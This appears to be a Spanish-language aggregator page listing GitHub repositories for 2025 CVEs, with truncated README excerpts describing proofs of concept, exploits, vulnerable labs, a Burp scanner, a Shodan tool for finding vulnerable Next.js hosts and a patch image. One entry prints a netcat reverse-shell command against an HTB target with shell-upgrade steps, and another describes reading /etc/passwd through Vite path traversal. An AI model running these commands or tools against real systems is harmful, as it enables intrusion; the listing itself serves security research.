esp32-cve-2025-27840-power-trace-experiment

esp32-cve-2025-27840-power-trace-experiment Firmware para obtener una traza de potencia del comportamiento del módulo bluetooth en el ESP32 cuando se le envían los comandos hci de bluetooth no documentados CVE-2025-27840. Cuando el ESP32 recibe los comandos, alterna un pin GPIO para disparar la...

CVE-2025-5548

Este repositorio no tiene un README...

cve-2025-55182

Writeup de Pruebas de Penetración: RCE en Next.js y Escalada de Privilegios del Inspector de Node.js Este writeup técnico detalla la ruta de explotación para comprometer un objetivo que aloja una aplicación web Next.js vulnerable, logrando acceso inicial mediante credenciales obtenidas y...

CVE-2025-55315-

Investigación de explotación de CVE-2025-55315 Este proyecto contiene el código de investigación y análisis de la vulnerabilidad CVE-2025-55315. Descripción general del proyecto Este repositorio se utiliza para investigar y analizar los detalles técnicos, el alcance del impacto y las posibles...

CVE-2025-5548

Metodología de Análisis de Vulnerabilidades y Explotación Autor: Anas Rami Módulo: 6. Vulnerabilidades - Máster en Ciberseguridad Objetivo: Propuesta técnica sobre el análisis de vulnerabilidades, desarrollo de exploits y aproximación a 0-days, documentando el entorno de laboratorio y casos...

Path-Transversal-CVE-2025-31125-

Vite Exploit CVE-2025-31125 Descripción: Explota el path traversal en el endpoint @fs del Servidor de Desarrollo de Vite CVE-2025-31125 para acceder a archivos sensibles como /etc/passwd y /etc/hosts mediante URLs manipuladas. Creado por Harsh Gupta. Uso: python viteexploit.py -u http://target.co...

Linux-Privilege-Escalation-CVE-2025-27591

CVE-2025-27591 - Privilege Escalation via Writable Symlink in below Summary This is a simple exploit for CVE-2025-27591 , a local privilege escalation vulnerability in the below Linux system monitoring tool. The vulnerability affects versions prior to v0.9.0 and stems from incorrect permission...

react-server-cve-lab

Laboratorio de Seguridad de React Server Components CVE-2025-55183 y CVE-2025-55184 Un entorno integral de pruebas de seguridad para las vulnerabilidades CVE-2025-55183 Exposición de Código Fuente y CVE-2025-55184 Denegación de Servicio en React Server Components. ⚠️ Aviso legal SOLO PARA FINES...

middleware-auth-bypass

middleware-auth-bypass CVE-2025-29927 un PoC del bypass de autenticación en middleware de Next.js...

CVE-2025-48384

CVE-2025-48384 PoC...

cve-2025-38001

cve-2025-38001...

CVE-2025-3102-exploit

Este repositorio no tiene un README...

CVE-2025-24893

Reverse shell para CVE-2025-24893 root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" mejorar la shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2025-8625

CVE-2025-8625 — PoC Resumen Este repositorio contiene los archivos fuente para un artículo publicado en Xakep.ru. El repositorio contiene materiales de demostración destinados únicamente a la investigación de seguridad, la educación y las pruebas en entornos de laboratorio aislados. Este...

PunchingBag-for-React2Shell

🥊 PunchingBag - Plataforma de Investigación de Seguridad CVE-2025-55182 ⚠️ SOLO CON FINES EDUCATIVOS : Esta es una aplicación intencionalmente vulnerable diseñada para investigación de seguridad autorizada y desafíos CTF. NO utilice estas técnicas en sistemas no autorizados. Una aplicación Next.js...

CVE-2025-5840

CVE-2025-5840 Exploit de CVE-2025-5840 en Python por hax / haxerr9 Cómo Usar: Asegúrate de que Python3 esté instalado en el sistema. Ejecuta "python3 CVE-2025-5840.py URL -c COMMAND". No olvides pasarle los parámetros antes de ejecutar el script. Ejemplo de Uso: NO PROBADO Este exploit no ha sido...

nextjs-CVE-2025-29927-hunter

Acerca de Una herramienta simple en Python que automatiza búsquedas en Shodan y filtra IPs/dominios objetivo para identificar activos potencialmente vulnerables a CVE-2025-29927 en despliegues de Next.js. Uso Extraer tanto IPs como dominios root@kitploit: python3 nextjs-CVE-2025-29927-hunter.py -...

CVE-2025-55182

CVE-2025-55182 https://github.com/user-attachments/assets/0da9a623-fe2a-4a96-8192-7a07a76635d7 React2Shell Scanner - Extensión de Burp Suite Descripción React RCE Scanner es una extensión de Burp Suite diseñada para detectar y explotar la vulnerabilidad de React CVE-2025-55182 ejecución remota de...

CVE-2025-29009

Este repositorio no tiene un README...

CVE-2025-12543-Fix-for-Wildfly

Imagen Base WildFly 11.0.0.Final — Parche CVE-2025-12543 Resumen Este repositorio proporciona una imagen base Docker construida sobre WildFly 11.0.0.Final con una corrección retroportada para CVE-2025-12543 , una vulnerabilidad crítica de validación del encabezado Host en Undertow. La imagen está...